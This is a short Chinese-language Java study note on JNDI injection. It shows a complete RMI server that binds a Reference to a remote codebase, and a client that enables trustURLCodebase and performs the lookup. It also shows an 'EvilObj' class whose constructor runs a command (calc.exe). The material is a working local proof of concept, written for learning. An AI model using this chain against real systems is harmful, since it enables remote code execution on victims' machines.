java代码学习（十） ——JDNI注入

JNDI方便了与naming service和Directory service的交互，通过指定特定的URL即可与不同的服务进行交互。

JNDI中也存在RMI codebase的动态加载机制，动态加载发生于两个部分，Naming Manager和JNDI SPI。SPI部分就是相对应的服务的配置。

JNDI提出了Naming References的方法，返回相应的Reference而不返回具体的obj。统一由JNDI的请求端去加载指定的地址上的obj。这里加载方法中就包括远程codebase的方法。

服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class SERVER {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}

如代码所示，绑定rmi在1099端口，url为6666端口，使用naming的reference去返回对应的reference，加载由客户端自己完成。这一套加载流程都是固定的，在官网上能查到。

客户端

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class CLIENT {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/evil");
}
}

由于测试版本为1.8.202，故加上 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");。lookup为以rmi协议去请求服务端上的evil，即registry.bind绑定的evil。

EvilObj

public class EvilObj {
public EvilObj() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"cmd.exe","/c","calc.exe"};
rt.exec(commands);
}
}

注：python3开启http服务的快捷方式为python -m http.server +端口号